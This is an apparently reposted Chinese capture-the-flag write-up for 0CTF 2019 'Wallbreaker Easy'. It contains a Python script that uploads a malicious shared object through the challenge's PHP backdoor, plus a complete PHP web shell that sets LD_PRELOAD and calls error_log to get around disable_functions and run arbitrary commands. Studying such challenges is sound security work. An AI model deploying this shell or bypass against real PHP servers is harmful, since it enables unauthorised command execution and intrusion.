0ctf-Wallbreaker Easy复现

补坑+1。

有预留的后门,并且给了phpinfo,因此可以从phpinfo中先搜集一波信息:

这里禁用了很多命令执行的函数,所以应该要bypass_disablefunction,先读一下flag在哪,但是这里有openbase_dir限制,因此能够还必须绕过它,这里system默认忽略openbase_dir,所以要是能执行system就好了,那么此时就利用后门直接上传so,exp:

先利用后门上传so文件

import requests

url = "http://localhost:8888/index.php"

param = {"backdoor":"move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/723ee8e952c6c25ff6277a2f95c77a08/seu.so');echo 'ok';var_dump(scandir('/tmp/723ee8e952c6c25ff6277a2f95c77a08'));"}
#files = [('file',('seu.so',open("seu.so","rb"),'application/octet-stream'))]
files = [('file',('seu.so',open("tr1ple.so","rb"),'multipart/form-data'))]
r = requests.post(url=url, files=files, data=param)
print(r.text)

这里是post型后门用data,get型用params,然后就能看到so上传成功,然后再上传触发LD_PRELOAD的php文件,这里直接通过后门上传到/var/www/html传不上去,应该是做了限制没权限,所以我们直接上传到/tmp/723ee8e952c6c25ff6277a2f95c77a08/,然后再通过后门include进来就是我们自己的后门了,然后因为这里过滤了mail,imap_open,我尝试了imap_mail,但是没有成功,

1.非预期解法

但是error_log可以用,直接用error_log触发就好,exp:

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    error_log("", 1, "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>

然后就可以执行命令了,system系统命令默认忽略openbase_dir,先ls / 看到readflag,因此直接执行/readflag,并将输出结果重定向即可

 2.预期解法

明天写

相关资料:

https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md

https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/#%E5%90%8E%E8%AE%B0

https://xz.aliyun.com/t/4688#toc-15

猜你喜欢

转载自www.cnblogs.com/wfzWebSecuity/p/11279895.html
今日推荐